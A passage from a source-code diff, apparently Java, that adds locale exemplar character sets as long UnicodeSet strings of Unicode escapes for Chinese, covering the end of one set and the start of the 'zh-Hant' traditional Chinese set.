+                + "\u4F5C\u4F60\u4F64\u4F69\u4F73\u4F7F\u4F8B\u4F9B\u4F9D\u4FA0"
+                + "\u4FA3\u4FA6-\u4FA8\u4FAC\u4FAF\u4FB5\u4FBF\u4FC3\u4FC4\u4FCA\u4FD7"
+                + "\u4FDD\u4FE1\u4FE9\u4FEE\u4FF1\u4FFE\u500D\u5012\u5019\u501A"
+                + "\u501F\u5026\u503C\u503E\u5047\u504C\u504F\u505A\u505C\u5065"
+                + "\u5076\u5077\u5088\u50A3\u50A8\u50AC\u50B2\u50BB\u50CF\u50E7"
+                + "\u50F3\u5112\u513F\u5141\u5143-\u5146\u5148\u5149\u514B\u514D"
+                + "\u5151\u5154\u515A\u5165\u5168\u516B-\u516E\u5170\u5171\u5173-\u5179"
+                + "\u517B-\u517D\u5185\u5188\u518C\u518D\u5192\u5199\u519B\u519C"
+                + "\u51A0\u51AC\u51B0\u51B2\u51B3\u51B5\u51B7\u51C6\u51CC\u51CF"
+                + "\u51DD\u51E0\u51E1\u51E4\u51ED\u51EF\u51F0\u51FA\u51FB\u51FD"
+                + "\u5200\u5206\u5207\u520A\u5211\u5212\u5217-\u521B\u521D\u5224"
+                + "\u5229\u522B\u5230\u5236-\u5238\u523A\u523B\u5242\u524D\u5251\u5267"
+                + "\u5269\u526A\u526F\u5272\u529B\u529D-\u52A1\u52A3\u52A8-\u52AB"
+                + "\u52B1-\u52B3\u52BF\u52C7\u52C9\u52CB\u52D2\u52E4\u52FE\u52FF"
+                + "\u5305\u5306\u5308\u5316\u5317\u5319\u5339-\u533B\u5341\u5343"
+                + "\u5347\u5348\u534A\u534E\u534F\u5351-\u5353\u5355-\u5357\u535A\u535E"
+                + "\u5360-\u5362\u536B\u536F-\u5371\u5373\u5374\u5377\u5382\u5384-\u5386"
+                + "\u5389\u538B-\u538D\u5398\u539A\u539F\u53BB\u53BF\u53C2\u53C8-\u53CD"
+                + "\u53D1\u53D4\u53D6-\u53D9\u53E3-\u53E6\u53EA-\u53ED\u53EF\u53F0"
+                + "\u53F2\u53F3\u53F6-\u53F9\u5403\u5404\u5408-\u540A\u540C-\u540E"
+                + "\u5410\u5411\u5413\u5415\u5417\u541B\u541D\u541F\u5426\u5427"
+                + "\u542B\u542C\u542F\u5435\u5438\u5439\u543B\u543E\u5440\u5446"
+                + "\u5448\u544A\u5450\u5458\u545C\u5462\u5466\u5468\u5473\u5475"
+                + "\u547C\u547D\u548C\u5496\u54A6-\u54A8\u54AA\u54AC\u54AF\u54B1"
+                + "\u54C0\u54C1\u54C7-\u54C9\u54CD\u54CE\u54DF\u54E5\u54E6\u54E9"
+                + "\u54EA\u54ED\u54F2\u5509\u5510\u5524\u552C\u552E\u552F\u5531"
+                + "\u5537\u5546\u554A\u5561\u5565\u5566\u556A\u5580\u5582\u5584"
+                + "\u5587\u558A\u558F\u5594\u559C\u559D\u55B5\u55B7\u55BB\u55D2"
+                + "\u55E8\u55EF\u5609\u561B\u5634\u563B\u563F\u5668\u56DB\u56DE"
+                + "\u56E0\u56E2\u56ED\u56F0\u56F4\u56FA\u56FD\u56FE\u5706\u5708"
+                + "\u571F\u5723\u5728\u572D\u5730\u5733\u573A\u573E\u5740\u5747"
+                + "\u574E\u5750\u5751\u5757\u575A-\u575D\u5761\u5764\u5766\u576A"
+                + "\u5782\u5783\u578B\u5792\u57C3\u57CB\u57CE\u57D4\u57DF\u57F9"
+                + "\u57FA\u5802\u5806\u5815\u5821\u5824\u582A\u5851\u5854\u585E"
+                + "\u586B\u5883\u589E\u58A8\u58C1\u58E4\u58EB\u58EC\u58EE\u58F0"
+                + "\u5904\u5907\u590D\u590F\u5915\u5916\u591A\u591C\u591F\u5925"
+                + "\u5927\u5929-\u592B\u592E\u5931\u5934\u5937-\u593A\u5947-\u5949"
+                + "\u594B\u594E\u594F\u5951\u5954\u5956\u5957\u5965\u5973\u5974"
+                + "\u5976\u5979\u597D\u5982\u5987\u5988\u5996\u5999\u59A5\u59A8"
+                + "\u59AE\u59B9\u59BB\u59C6\u59CA\u59CB\u59D0\u59D1\u59D3\u59D4"
+                + "\u59FF\u5A01\u5A03\u5A04\u5A18\u5A1C\u5A1F\u5A31\u5A46\u5A5A"
+                + "\u5A92\u5AC1\u5ACC\u5AE9\u5B50\u5B54\u5B55\u5B57-\u5B59\u5B5C\u5B5D"
+                + "\u5B5F\u5B63\u5B64\u5B66\u5B69\u5B81\u5B83\u5B87-\u5B89\u5B8B\u5B8C"
+                + "\u5B8F\u5B97-\u5B9E\u5BA1-\u5BA4\u5BAA\u5BB3\u5BB4\u5BB6"
+                + "\u5BB9\u5BBD-\u5BBF\u5BC2\u5BC4-\u5BC7\u5BCC\u5BD2\u5BDD-\u5BDF"
+                + "\u5BE1\u5BE8\u5BF8\u5BF9\u5BFB\u5BFC\u5BFF\u5C01\u5C04\u5C06"
+                + "\u5C0A\u5C0F\u5C11\u5C14\u5C16\u5C18\u5C1A\u5C1D\u5C24\u5C31"
+                + "\u5C3A\u5C3C-\u5C3E\u5C40-\u5C42\u5C45\u5C4B\u5C4F\u5C55\u5C5E\u5C60"
+                + "\u5C71\u5C7F\u5C81\u5C82\u5C97\u5C98\u5C9A\u5C9B\u5CB3\u5CB8"
+                + "\u5CE1\u5CF0\u5D07\u5D29\u5D34\u5DDD\u5DDE\u5DE1\u5DE5-\u5DE8"
+                + "\u5DEB\u5DEE\u5DF1-\u5DF4\u5DF7\u5DFD\u5E01-\u5E03\u5E05\u5E08"
+                + "\u5E0C\u5E10\u5E15\u5E16\u5E1D\u5E26\u5E2D\u5E2E\u5E38\u5E3D"
+                + "\u5E45\u5E55\u5E72-\u5E74\u5E76\u5E78\u5E7B-\u5E7D\u5E7F\u5E86"
+                + "\u5E8A\u5E8F\u5E93-\u5E95\u5E97\u5E99\u5E9A\u5E9C\u5E9E\u5E9F"
+                + "\u5EA6\u5EA7\u5EAD\u5EB7\u5EB8\u5EC9\u5ED6\u5EF6\u5EF7\u5EFA"
+                + "\u5F00\u5F02-\u5F04\u5F0A\u5F0F\u5F15\u5F17\u5F18\u5F1F\u5F20\u5F25"
+                + "\u5F26\u5F2F\u5F31\u5F39\u5F3A\u5F52\u5F53\u5F55\u5F5D\u5F62"
+                + "\u5F69\u5F6C\u5F6D\u5F70\u5F71\u5F77\u5F79\u5F7B\u5F7C\u5F80"
+                + "\u5F81\u5F84\u5F85\u5F88\u5F8B\u5F8C\u5F90\u5F92\u5F97\u5FAA"
+                + "\u5FAE\u5FB5\u5FB7\u5FC3\u5FC5\u5FC6\u5FCC\u5FCD\u5FD7-\u5FD9"
+                + "\u5FE0\u5FE7\u5FEB\u5FF5\u5FFD\u6000\u6001\u600E\u6012\u6015"
+                + "\u6016\u601D\u6021\u6025\u6027\u6028\u602A\u603B\u604B\u6050"
+                + "\u6062\u6068\u6069\u606D\u606F\u6070\u6076\u607C\u6084\u6089"
+                + "\u6094\u609F\u60A0\u60A3\u60A8\u60B2\u60C5\u60D1\u60DC\u60E0"
+                + "\u60E7\u60E8\u60EF\u60F3\u60F9\u6101\u6108\u6109\u610F\u611A"
+                + "\u611F\u6127\u6148\u614E\u6155\u6162\u6167\u6170\u61BE\u61C2"
+                + "\u61D2\u6208\u620A\u620C\u620F-\u6212\u6216\u6218\u622A\u6234"
+                + "\u6237\u623F-\u6241\u6247\u624B\u624D\u624E\u6251\u6253\u6258\u6263"
+                + "\u6267\u6269\u626B-\u626F\u6279\u627E-\u6280\u6284\u628A\u6291\u6293"
+                + "\u6295\u6297\u6298\u62A2\u62A4\u62A5\u62AB\u62AC\u62B1\u62B5"
+                + "\u62B9\u62BD\u62C5\u62C6\u62C9\u62CD\u62D2\u62D4\u62D6\u62D8"
+                + "\u62DB\u62DC\u62DF\u62E5\u62E6\u62E8\u62E9\u62EC\u62F3\u62F7"
+                + "\u62FC\u62FE\u62FF\u6301\u6307\u6309\u6311\u6316\u631D\u6321"
+                + "\u6324\u6325\u632A\u632F\u633A\u6349\u6350\u6355\u635F\u6361"
+                + "\u6362\u636E\u6377\u6388\u6389\u638C\u6392\u63A2\u63A5\u63A7-\u63AA"
+                + "\u63B8\u63CF\u63D0\u63D2\u63E1\u63F4\u641C\u641E\u642C\u642D"
+                + "\u6444\u6446\u644A\u6454\u6458\u6469\u6478\u6492\u649E\u64A4"
+                + "\u64AD\u64CD\u64CE\u64E6\u652F\u6536\u6539\u653B\u653E\u653F"
+                + "\u6545\u6548\u654C\u654F\u6551\u6559\u655D\u6562\u6563\u6566"
+                + "\u656C\u6570\u6572\u6574\u6587\u658B\u6590\u6597\u6599\u659C"
+                + "\u65A5\u65AD\u65AF\u65B0\u65B9\u65BC\u65BD\u65C1\u65C5\u65CB"
+                + "\u65CF\u65D7\u65E0\u65E2\u65E5-\u65E9\u65ED\u65F6\u65FA\u6602"
+                + "\u6606\u660C\u660E\u660F\u6613\u661F\u6620\u6625\u6628\u662D"
+                + "\u662F\u663E\u6643\u664B\u6652\u6653\u665A\u6668\u666E\u666F"
+                + "\u6674\u6676\u667A\u6682\u6691\u6696\u6697\u66AE\u66B4\u66F0"
+                + "\u66F2\u66F4\u66F9\u66FC\u66FE-\u6700\u6708\u6709\u670B\u670D"
+                + "\u6717\u671B\u671D\u671F\u6728\u672A-\u672D\u672F\u6731\u6735\u673A"
+                + "\u6740\u6742\u6743\u6749\u674E\u6750\u6751\u675C\u675F\u6761"
+                + "\u6765\u6768\u676F\u6770\u677E\u677F\u6781\u6784\u6790\u6797"
+                + "\u679C\u679D\u67A2\u67AA\u67AB\u67B6\u67CF\u67D0\u67D3\u67D4"
+                + "\u67E5\u67EC\u67EF\u67F3\u67F4\u6807\u680B\u680F\u6811\u6821"
+                + "\u6837-\u6839\u683C\u6843\u6846\u6848\u684C\u6851\u6863\u6865"
+                + "\u6881\u6885\u68A6\u68AF\u68B0\u68B5\u68C0\u68C9\u68CB\u68D2"
+                + "\u68DA\u68EE\u6905\u690D\u6930\u6954\u695A\u6960\u697C\u6982"
+                + "\u699C\u6A21\u6A31\u6A80\u6B20-\u6B23\u6B27\u6B32\u6B3A\u6B3E"
+                + "\u6B49\u6B4C\u6B62-\u6B66\u6B6A\u6B7B\u6B8A\u6B8B\u6BB5\u6BC5"
+                + "\u6BCD\u6BCF\u6BD2\u6BD4\u6BD5\u6BDB\u6BEB\u6C0F\u6C11\u6C14"
+                + "\u6C1B\u6C34\u6C38\u6C42\u6C47\u6C49\u6C57\u6C5D\u6C5F-\u6C61"
+                + "\u6C64\u6C6A\u6C76\u6C7D\u6C83\u6C88\u6C89\u6C99\u6C9F\u6CA1"
+                + "\u6CA7\u6CB3\u6CB9\u6CBB\u6CBF\u6CC9\u6CCA\u6CD5\u6CDB\u6CE1-\u6CE3"
+                + "\u6CE5\u6CE8\u6CF0\u6CF3\u6CFD\u6D0B\u6D17\u6D1B\u6D1E\u6D25"
+                + "\u6D2A\u6D32\u6D3B\u6D3D\u6D3E\u6D41\u6D45\u6D4B\u6D4E\u6D4F"
+                + "\u6D51\u6D53\u6D59\u6D66\u6D69\u6D6A\u6D6E\u6D74\u6D77\u6D85"
+                + "\u6D88\u6D89\u6D9B\u6DA8\u6DAF\u6DB2\u6DB5\u6DCB\u6DD1\u6DD8"
+                + "\u6DE1\u6DF1\u6DF7\u6DFB\u6E05\u6E10\u6E21\u6E23\u6E29\u6E2F"
+                + "\u6E34\u6E38\u6E56\u6E7E\u6E90\u6E9C\u6EAA\u6ECB\u6ED1\u6ED5"
+                + "\u6EE1\u6EE5\u6EE8\u6EF4\u6F02\u6F0F\u6F14\u6F20\u6F2B\u6F58"
+                + "\u6F5C\u6F6E\u6F8E\u6FB3\u6FC0\u704C\u706B\u706D\u706F\u7070"
+                + "\u7075\u707F\u7089\u708E\u70AE\u70B8\u70B9\u70C2\u70C8\u70E4"
+                + "\u70E6\u70E7\u70ED\u7126\u7136\u714C\u715E\u7167\u716E\u718A"
+                + "\u719F\u71C3\u71D5\u7206\u722A\u722C\u7231\u7235-\u7238\u723D\u7247"
+                + "\u7248\u724C\u7259\u725B\u7261\u7262\u7267\u7269\u7272\u7275"
+                + "\u7279\u727A\u72AF\u72B6\u72B9\u72C2\u72D0\u72D7\u72E0\u72EC"
+                + "\u72EE\u72F1\u72FC\u731B\u731C\u732A\u732E\u7334\u7384\u7387"
+                + "\u7389\u738B\u739B\u73A9\u73AB\u73AF\u73B0\u73B2\u73BB\u73C0"
+                + "\u73CA\u73CD\u73E0\u73ED\u7403\u7406\u740A\u742A\u7433\u7434"
+                + "\u743C\u7459\u745A\u745C\u745E\u745F\u7470\u7476\u7483\u74DC"
+                + "\u74E6\u74F6\u7518\u751A\u751C\u751F\u7528\u752B\u7530-\u7533"
+                + "\u7535\u7537\u7538\u753B\u7545\u754C\u7559\u7565\u756A\u7586"
+                + "\u758F\u7591\u7597\u75AF\u75B2\u75BC\u75BE\u75C5\u75D5\u75DB"
+                + "\u75F4\u7678\u767B\u767D\u767E\u7684\u7686\u7687\u76AE\u76C8"
+                + "\u76CA\u76D1\u76D2\u76D6\u76D8\u76DB\u76DF\u76EE\u76F2\u76F4"
+                + "\u76F8\u76FC\u76FE\u7701\u7709\u770B\u771F\u7720\u773C\u7740"
+                + "\u775B\u7761\u7763\u77A7\u77DB\u77E3\u77E5\u77ED\u77F3\u77F6"
+                + "\u7801\u7802\u780D\u7814\u7834\u7840\u7855\u786C\u786E\u788D"
+                + "\u788E\u7891\u7897\u789F\u78A7\u78B0\u78C1\u78C5\u78E8\u793A"
+                + "\u793C\u793E\u7956\u795A\u795D\u795E\u7965\u7968\u796F\u7978"
+                + "\u7981\u7984\u7985\u798F\u79BB\u79C0\u79C1\u79CB\u79CD\u79D1"
+                + "\u79D2\u79D8\u79DF\u79E4\u79E6\u79E9\u79EF\u79F0\u79FB\u7A00"
+                + "\u7A0B\u7A0D\u7A0E\u7A23\u7A33\u7A3F\u7A46\u7A76\u7A77\u7A79"
+                + "\u7A7A\u7A7F\u7A81\u7A97\u7A9D\u7ACB\u7AD9\u7ADE-\u7AE0\u7AE5\u7AEF"
+                + "\u7AF9\u7B11\u7B14\u7B1B\u7B26\u7B28\u7B2C\u7B49\u7B4B\u7B51"
+                + "\u7B54\u7B56\u7B79\u7B7E\u7B80\u7B97\u7BA1\u7BAD\u7BB1\u7BC7"
+                + "\u7BEE\u7C3F\u7C4D\u7C73\u7C7B\u7C89\u7C92\u7C97\u7C9F\u7CA4"
+                + "\u7CB9\u7CBE\u7CCA\u7CD5\u7CD6\u7CDF\u7CFB\u7D20\u7D22\u7D27"
+                + "\u7D2B\u7D2F\u7E41\u7EA2\u7EA6\u7EA7\u7EAA\u7EAF\u7EB2\u7EB3"
+                + "\u7EB5\u7EB7\u7EB8\u7EBD\u7EBF\u7EC3\u7EC4\u7EC6-\u7EC8\u7ECD\u7ECF"
+                + "\u7ED3\u7ED5\u7ED8\u7ED9\u7EDC\u7EDD\u7EDF\u7EE7\u7EE9\u7EEA"
+                + "\u7EED\u7EF4\u7EF5\u7EFC\u7EFF\u7F05\u7F13\u7F16\u7F18\u7F20"
+                + "\u7F29\u7F34\u7F36\u7F38\u7F3A\u7F50\u7F51\u7F55\u7F57\u7F5A"
+                + "\u7F62\u7F6A\u7F6E\u7F72\u7F8A\u7F8E\u7F9E\u7FA4\u7FAF\u7FBD"
+                + "\u7FC1\u7FC5\u7FD4\u7FD8\u7FE0\u7FF0\u7FFB\u7FFC\u8000\u8001"
+                + "\u8003\u8005\u800C\u800D\u8010\u8017\u8033\u8036\u804A\u804C"
+                + "\u8054\u8058\u805A\u806A\u8089\u8096\u809A\u80A1\u80A4\u80A5"
+                + "\u80A9\u80AF\u80B2\u80C1\u80C6\u80CC\u80CE\u80D6\u80DC\u80DE"
+                + "\u80E1\u80F6\u80F8\u80FD\u8106\u8111\u811A\u8131\u8138\u814A"
+                + "\u8150\u8153\u8170\u8179\u817E\u817F\u81C2\u81E3\u81EA\u81ED"
+                + "\u81F3\u81F4\u820C\u820D\u8212\u821E\u821F\u822A\u822C\u8230"
+                + "\u8239\u826E\u826F\u8272\u827A\u827E\u8282\u8292\u829D\u82A6"
+                + "\u82AC\u82AD\u82B1\u82B3\u82CD\u82CF\u82D7\u82E5\u82E6\u82F1"
+                + "\u8302\u8303\u8328\u832B\u8336\u8349\u8350\u8352\u8363\u836F"
+                + "\u8377\u8389\u838E\u83AA\u83AB\u83B1\u83B2\u83B7\u83DC\u83E9"
+                + "\u83F2\u8404\u840D\u8424\u8425\u8427\u8428\u843D\u8457\u845B"
+                + "\u8461\u8482\u848B\u8499\u84C9\u84DD\u84EC\u8511\u8521\u8584"
+                + "\u85AA\u85C9\u85CF\u85E4\u864E\u8651\u866B\u8679\u867D\u867E"
+                + "\u8681\u86C7\u86CB\u86D9\u86EE\u8702\u871C\u8776\u878D\u87F9"
+                + "\u8822\u8840\u884C\u8857\u8861\u8863\u8865\u8868\u888B\u88AB"
+                + "\u88AD\u88C1\u88C2\u88C5\u88D5\u88E4\u897F\u8981\u8986\u89C1"
+                + "\u89C2\u89C4\u89C6\u89C8\u89C9\u89D2\u89E3\u8A00\u8A89\u8A93"
+                + "\u8B66\u8BA1\u8BA2\u8BA4\u8BA8\u8BA9\u8BAD-\u8BB0\u8BB2\u8BB7"
+                + "\u8BB8\u8BBA\u8BBE\u8BBF\u8BC1\u8BC4\u8BC6\u8BC9\u8BCD\u8BD1"
+                + "\u8BD5\u8BD7\u8BDA\u8BDD\u8BDE\u8BE2\u8BE5\u8BE6\u8BED\u8BEF"
+                + "\u8BF4\u8BF7\u8BF8\u8BFA\u8BFB\u8BFE\u8C01\u8C03\u8C05\u8C08"
+                + "\u8C0A\u8C0B\u8C13\u8C1C\u8C22\u8C28\u8C2C\u8C31\u8C37\u8C46"
+                + "\u8C61\u8C6A\u8C8C\u8D1D-\u8D1F\u8D21-\u8D25\u8D27-\u8D2A\u8D2D\u8D2F"
+                + "\u8D31\u8D34\u8D35\u8D38-\u8D3A\u8D3C\u8D3E\u8D44\u8D4B\u8D4C\u8D4F"
+                + "\u8D50\u8D54\u8D56\u8D5A\u8D5B\u8D5E\u8D60\u8D62\u8D64\u8D6B"
+                + "\u8D70\u8D75\u8D77\u8D81\u8D85\u8D8A\u8D8B\u8DA3\u8DB3\u8DC3"
+                + "\u8DCC\u8DD1\u8DDD\u8DDF\u8DEF\u8DF3\u8E0F\u8E22\u8E29\u8EAB"
+                + "\u8EB2\u8F66\u8F68\u8F69\u8F6C\u8F6E-\u8F70\u8F7B\u8F7D\u8F83\u8F85"
+                + "\u8F86\u8F88\u8F89\u8F91\u8F93\u8F9B\u8F9E\u8FA8\u8FA9\u8FB0"
+                + "\u8FB1\u8FB9\u8FBE\u8FC1\u8FC5\u8FC7\u8FC8\u8FCE\u8FD0\u8FD1"
+                + "\u8FD4\u8FD8\u8FD9\u8FDB-\u8FDF\u8FE6\u8FEA\u8FEB\u8FF0\u8FF7\u8FFD"
+                + "\u9000-\u9003\u9006\u9009\u900A\u900F\u9010\u9012\u9014\u901A"
+                + "\u901B\u901D\u901F\u9020\u9022\u9038\u903B\u903C\u9047\u904D"
+                + "\u9053\u9057\u906D\u906E\u9075\u907F\u9080\u9093\u90A3\u90A6"
+                + "\u90AA\u90AE\u90B1\u90BB\u90CE\u90D1\u90E8\u90ED\u90FD\u9102"
+                + "\u9149\u914B\u914D\u9152\u9177\u9178\u9189\u9192\u91C7\u91CA"
+                + "\u91CC-\u91CF\u91D1\u9488\u9493\u949F\u94A2\u94A6\u94AF\u94B1"
+                + "\u94BB\u94C1-\u94C3\u94DC\u94E2\u94ED\u94F6\u94FA\u94FE\u9500\u9501"
+                + "\u9505\u950B\u9511\u9519\u9521\u9526\u952E\u953A\u9547\u9551"
+                + "\u955C\u956D\u957F\u95E8\u95EA\u95ED\u95EE\u95F0\u95F2\u95F4"
+                + "\u95F7\u95F9\u95FB\u9601\u9605\u9610\u9614\u961F\u962E\u9632-\u9636"
+                + "\u963B\u963F\u9640\u9644-\u9646\u9648\u964D\u9650\u9662\u9664\u9669"
+                + "\u966A\u9675-\u9677\u9686\u968F\u9690\u9694\u969C\u96BE\u96C4-\u96C6"
+                + "\u96C9\u96E8\u96EA\u96EF\u96F3\u96F6\u96F7\u96FE\u9700\u9707"
+                + "\u970D\u9716\u9732\u9738\u9739\u9752\u9756\u9759\u975E\u9760"
+                + "\u9762\u9769\u977C\u978B\u9791\u97E6\u97E9\u97F3\u9875\u9876"
+                + "\u9879-\u987B\u987D-\u987F\u9884\u9886\u9887\u9891\u9897\u9898"
+                + "\u989D\u98CE\u98D8\u98D9\u98DE\u98DF\u9910\u996D\u996E\u9970"
+                + "\u9971\u997C\u9986\u9996\u9999\u99A8\u9A6C\u9A71\u9A76\u9A7B"
+                + "\u9A7E\u9A8C\u9A91\u9A97\u9A9A\u9AA4\u9AA8\u9AD8\u9B3C\u9B41"
+                + "\u9B42\u9B45\u9B54\u9C7C\u9C81\u9C9C\u9E1F\u9E21\u9E23\u9E2D"
+                + "\u9E3F\u9E45\u9E64\u9E70\u9E7F\u9EA6\u9EBB\u9EC4\u9ECE\u9ED1"
+                + "\u9ED8\u9F13\u9F20\u9F3B\u9F50\u9F7F\u9F84\u9F99\u9F9F\uFE30"
+                + "\uFE31\uFE33-\uFE44\uFE49-\uFE52\uFE54-\uFE57\uFE59-\uFE61\uFE63\uFE68"
+                + "\uFE6A\uFE6B\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F\uFF1A\uFF1B"
+                + "\uFF1F\uFF20\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D]"));
+        EXEMPLAR_MAP.put("zh-Hant", new UnicodeSet("[\u2025\u2027\u2030\u2035\u203B\u203E"
+                + "\u3001-\u3003\u3008-\u3011\u3014\u3015\u301D\u301E\u4E00\u4E01\u4E03"
+                + "\u4E08-\u4E0D\u4E11\u4E14\u4E16\u4E18\u4E19\u4E1E\u4E1F\u4E26\u4E2D\u4E32\u4E38"
+                + "\u4E39\u4E3B\u4E43\u4E45\u4E48\u4E4B\u4E4D-\u4E4F\u4E56\u4E58\u4E59\u4E5D"
+                + "\u4E5F\u4E7E\u4E82\u4E86\u4E88\u4E8B\u4E8C\u4E8E\u4E91\u4E92"
+                + "\u4E94\u4E95\u4E9B\u4E9E\u4EA1\u4EA4-\u4EA6\u4EA8\u4EAB-\u4EAE"
+                + "\u4EBA\u4EC0-\u4EC2\u4EC7\u4ECA\u4ECB\u4ECD\u4ED4\u4ED6\u4ED8\u4ED9"
+                + "\u4EE3-\u4EE5\u4EF0\u4EF2\u4EF6\u4EFB\u4EFD\u4F01\u4F0A\u4F0D"
+                + "\u4F0F-\u4F11\u4F19\u4F2F\u4F30\u4F34\u4F38\u4F3C\u4F3D\u4F46"
+                + "\u4F48\u4F49\u4F4D-\u4F50\u4F54\u4F55\u4F59\u4F5B\u4F5C\u4F60"
+                + "\u4F69\u4F73\u4F7F\u4F86\u4F8B\u4F9B\u4F9D\u4FAF\u4FB5\u4FB6"
+                + "\u4FBF\u4FC2-\u4FC4\u4FCA\u4FD7\u4FDD\u4FE0\u4FE1\u4FEE\u4FF1\u4FFE"
+                + "\u500B\u500D\u5011\u5012\u5019\u501A\u501F\u502B\u503C\u5047"
+                + "\u5049\u504F\u505A\u505C\u5065\u5074-\u5077\u5080\u5091\u5099\u50A2"
+                + "\u50A3\u50B2\u50B3\u50B7\u50BB\u50BE\u50C5\u50CE\u50CF\u50D1"
+                + "\u50E7\u50F3\u50F5\u50F9\u5100\u5104\u5110\u5112\u5118\u511F"
+                + "\u512A\u5133\u5137\u513B\u5141\u5143-\u5149\u514B-\u514D\u5152\u5154"
+                + "\u5165\u5167-\u5169\u516B-\u516E\u5171\u5175-\u5179\u517C\u518A"
+                + "\u518D\u5192\u51A0\u51AC\u51B0\u51B7\u51C6\u51CC\u51DD\u51E1"
+                + "\u51F0\u51F1\u51FA\u51FD\u5200\u5206\u5207\u520A\u5217\u521D"
+                + "\u5224\u5225\u5229-\u522B\u5230\u5236-\u5238\u523A\u523B\u5247\u524C"
+                + "\u524D\u525B\u5269\u526A\u526F\u5272\u5275\u5283\u5287\u5289"
+                + "\u528D\u529B\u529F\u52A0\u52A9-\u52AB\u52C1\u52C7\u52C9\u52D2"
+                + "\u52D5\u52D9\u52DD\u52DE\u52E2\u52E4\u52F3\u52F5\u52F8\u52FF"
+                + "\u5305\u5308\u5316\u5317\u5339\u5340\u5341\u5343\u5347\u5348"
+                + "\u534A\u5351-\u5354\u5357\u535A\u535C\u535E\u5360\u5361\u536F-\u5371"
+                + "\u5373\u5377\u537B\u5384\u5398\u539A\u539F\u53AD\u53B2\u53BB"
+                + "\u53C3\u53C8\u53CA\u53CB\u53CD\u53D4\u53D6\u53D7\u53E2-\u53E6"
+                + "\u53EA-\u53ED\u53EF\u53F0\u53F2\u53F3\u53F6\u53F8\u5403\u5404"
+                + "\u5408-\u540A\u540C-\u540E\u5410-\u5412\u541B\u541D-\u5420\u5426\u5427"
+                + "\u542B\u5433\u5435\u5438\u5439\u543E\u5440\u5442\u5446\u544A"
+                + "\u5462\u5468\u5473\u5475\u547C\u547D\u548C\u5496\u54A6\u54A7"
+                + "\u54AA\u54AC\u54B1\u54C0\u54C1\u54C7-\u54C9\u54CE\u54E1\u54E5\u54E6"
+                + "\u54E9\u54EA\u54ED\u54F2\u5509\u5510\u5514\u552C\u552E\u552F"
+                + "\u5531\u5537\u5538\u5546\u554A\u554F\u555F\u5561\u5565\u5566"
+                + "\u556A\u5580\u5582\u5584\u5587\u558A\u5594\u559C\u559D\u55AC"
+                + "\u55AE\u55B5\u55CE\u55DA\u55E8\u55EF\u5606\u5609\u5617\u561B"
+                + "\u5634\u563B\u563F\u5668\u5674\u5687\u56B4\u56C9\u56CC\u56D1"
+                + "\u56DB\u56DE\u56E0\u56F0\u56FA\u5708\u570B\u570D\u5712\u5713"
+                + "\u5716\u5718\u571C\u571F\u5728\u572D\u5730\u573E\u5740\u5747"
+                + "\u574E\u5750\u5761\u5764\u5766\u576A\u5782\u5783\u578B\u57C3"
+                + "\u57CE\u57D4\u57DF\u57F7\u57F9\u57FA\u5802\u5805\u5806\u5821"
+                + "\u5824\u582A\u5831\u5834\u584A\u5854\u5857\u585E\u586B\u5875"
+                + "\u5883\u588E\u589E\u58A8\u58AE\u58C1\u58C7\u58D3\u58D8\u58DE"
+                + "\u58E2\u58E4\u58EB\u58EC\u58EF\u58FD\u590F\u5915\u5916\u591A"
+                + "\u591C\u5920\u5922\u5925\u5927\u5929-\u592B\u592E\u5931\u5937\u5938"
+                + "\u593E\u5947-\u5949\u594E\u594F\u5951\u5954\u5957\u5965\u5967\u596A"
+                + "\u596E\u5973\u5974\u5976\u5979\u597D\u5982\u5999\u599D\u59A5"
+                + "\u59A8\u59AE\u59B3\u59B9\u59BB\u59C6\u59CA\u59CB\u59D0\u59D1"
+                + "\u59D3\u59D4\u59FF\u5A01\u5A03\u5A18\u5A1B\u5A41\u5A46\u5A5A"
+                + "\u5A66\u5A92\u5ABD\u5ACC\u5AE9\u5B50\u5B54\u5B57\u5B58\u5B5C"
+                + "\u5B5D\u5B5F\u5B63\u5B64\u5B69\u5B6B\u5B78\u5B83\u5B85\u5B87-\u5B89"
+                + "\u5B8B\u5B8C\u5B8F\u5B97-\u5B9C\u5BA2-\u5BA4\u5BAE\u5BB3\u5BB6\u5BB9"
+                + "\u5BBF\u5BC2\u5BC4-\u5BC6\u5BCC\u5BD2\u5BDE\u5BDF\u5BE2\u5BE6-\u5BE9"
+                + "\u5BEB\u5BEC\u5BEE\u5BF5\u5BF6\u5C01\u5C04\u5C07\u5C08\u5C0A"
+                + "\u5C0B\u5C0D-\u5C0F\u5C11\u5C16\u5C1A\u5C24\u5C31\u5C3A\u5C3C\u5C3E"
+                + "\u5C40\u5C41\u5C45\u5C46\u5C4B\u5C4F\u5C55\u5C60\u5C64\u5C6C"
+                + "\u5C71\u5CA1\u5CA9\u5CB8\u5CC7\u5CF0\u5CF6\u5CFD\u5D07\u5D19"
+                + "\u5D34\u5D50\u5DBA\u5DBC\u5DDD\u5DDE\u5DE1\u5DE5-\u5DE8\u5DEB\u5DEE"
+                + "\u5DF1-\u5DF4\u5DF7\u5DFD\u5E02\u5E03\u5E0C\u5E15\u5E16\u5E1B"
+                + "\u5E1D\u5E25\u5E2B\u5E2D\u5E33\u5E36\u5E38\u5E3D\u5E45\u5E55"
+                + "\u5E63\u5E6B\u5E72-\u5E74\u5E78\u5E79\u5E7B-\u5E7E\u5E87\u5E8A"
+                + "\u5E8F\u5E95\u5E97\u5E9A\u5E9C\u5EA6\u5EA7\u5EAB\u5EAD\u5EB7"
+                + "\u5EB8\u5EC9\u5ED6\u5EE0\u5EE2\u5EE3\u5EF3\u5EF6\u5EF7\u5EFA"
+                + "\u5F04\u5F0F\u5F15\u5F17\u5F18\u5F1F\u5F26\u5F31\u5F35\u5F37"
+                + "\u5F48\u5F4A\u5F4C\u5F4E\u5F5D\u5F5E\u5F62\u5F65\u5F69\u5F6C"
+                + "\u5F6D\u5F70\u5F71\u5F79\u5F7C\u5F80\u5F81\u5F85\u5F88\u5F8B"
+                + "\u5F8C\u5F90-\u5F92\u5F97\u5F9E\u5FA9\u5FAE\u5FB5\u5FB7\u5FB9\u5FC3"
+                + "\u5FC5\u5FCC\u5FCD\u5FD7-\u5FD9\u5FE0\u5FEB\u5FF5\u5FFD\u600E\u6012"
+                + "\u6015\u6016\u601D\u6021\u6025\u6027\u6028\u602A\u6046\u6050"
+                + "\u6062\u6065\u6068\u6069\u606D\u606F\u6070\u6085\u6089\u6094"
